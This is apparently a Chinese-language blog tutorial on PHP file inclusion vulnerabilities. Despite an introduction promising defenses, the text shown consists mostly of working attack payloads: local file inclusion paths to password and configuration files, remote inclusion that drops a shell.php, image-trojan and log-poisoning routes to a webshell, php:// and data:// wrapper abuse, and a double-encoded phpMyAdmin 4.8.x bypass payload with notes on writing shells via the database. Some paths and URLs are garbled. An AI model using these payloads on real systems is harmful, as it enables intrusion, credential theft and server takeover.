在当今数字化时代,随着Web应用程序的广泛应用,网络安全问题愈加凸显。其中,文件包含漏洞作为一种常见但危险的安全隐患,为恶意攻击者提供了可乘之机。在这篇博客中,我们将深入探讨文件包含漏洞的本质、攻击手法以及应对策略。
文件包含漏洞通常发生在Web应用程序中,攻击者通过巧妙构造输入,成功绕过系统的安全防护,进而执行恶意代码或读取敏感文件。特别是在PHP等动态语言中,文件包含函数的使用不当可能导致严重后果。
将以简练而深刻的语言,介绍文件包含漏洞的定义及其对系统安全的威胁。通过具体实例,我们将展示攻击者可能采用的不同手段,以揭示潜在的危害。而为了更全面地了解和应对这一挑战,我们将深入研究防御策略,包括输入验证、白名单控制、关闭不必要的函数等多个层面的解决方案。
把可重复使用的函数写入到单个文件中在使用该函数时,直接调用此文件,无需再次编写函数。这一过程被称为包含
①、include0: 找不到被包含文件时会产生警告 (E_WARNING)
②、include_once(): 与include () 类似,代码已经被包含则不会再次包含
③、Require(): 找不到被包含的文件时会产生致命错误 (E_COMPILE_ERROR)
④、require_once(): 与require () 类似,代码已经被包含则不会再次包含
分别修改phpinfo.txt扩展名为: jpg、rar、360发现均可解析,
只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析
正常访问页面逻辑:
①、1.html
②、点击标签
③、跳转包含文件
攻击者思路: http://127.0.0.1/include/03/index.php?page=xxx.php
http://127.0.0.1/include/03/index.php?page=C: \windows-version.txtWindows系统敏感信息:
C: \boot.ini //查看系统版本
C: \windows \system32 \inetsrv \MetaBase.xml //IIS配置文件
C:\windows \repair\ sam //windows初次密码
C: program \Files\ mysql \my.ini //Mysgl配置
C:\program Files\mysql data mysql\user.MYD\windows \php.ini //Mysql root C://php配置信息
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php设置
etc/httpd/conf/httpd.conf //apache配置文件
etc/my.cnf //Mysql配置文件
allow_url_fopen开启
访问: http://127.0.0.1/include/03/index.php?page=http://127.0.0.1)include/04/1.txt
会在indexphp目录下生成shell.php
已经上传图片木马路径为: /upload/1.png图片代码如下:
会在index.php目录下生成shell.php
访问: http://127.0.0.1/include/03/index.php?page=D: upload\1.png
PHP 内置有很多内置 URL 风格的封装协议,可用于fopen()、 copy(),file_exists() 和 filesize()的文件系统函数。
http://127.0.0.1/cmd.php?file=data://text/plain,h ttp : / / 1 2 7 .0 .0 .1 / c m d .
p h p ?file = data : / / te x t /plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/www/file.jpg%23phpcode.txt先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.ipg后在上传,其他几种压缩格式也可以这样操作。
写入PHP文件 (allow_url include:on)http://127.0.0.1/include/03/index.php?page=php://input
①、找到Apache路径,利用保护漏洞包含日志文件获取Webshell。Apache两个日志文件: access.log、error.log
各字段分别为: 客户端地址、访问者标识、访问者的验证名字、请求时间请求类型、状态码、发送给客户端短的字节数
②、当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时?当访问不存在的资源时,apache日志同样会记录。如果访问:127.0.0.1/include/,再包含access.log是否可行?
phpMyAdmin是开源的MySQL数据库管理工具,可实现可视化对数据库进行管理受影版本: 4.8.0~4.8.1
index.php界面存在文件包含功能,代码分析进行绕过可实现漏洞利用
/index.php第55~63行
为了实现文件包含功能,需先通过几个条件判断
①、 target变量不为空;
②、target变量值为字符串;
③、 target变量值不能以'index’开头
④、target变量值不在黑名单中 ;
⑤、调用checkPageValidity函数处理target变量;
checkPageValidity 函数中五个条件判断
①、引入$goto_whitelist 白名单 (31行)
②、如果$page变量没有定义或不为字符串则返回false;
③、$page值在白名单中返回true;
④、如果$_page 存在白名单中返回true;
⑤、$page经过ulr解码存在于白名单则返回true;
Payload: **/index.php?target=db_sql.php%253f/../../../file.txt
注意事项:
①、利用数据库功能写入shell,查询文件位置select @@datadir包含.frm文件
②、利用数据库查询语句将shell写入session文件,包含该session文件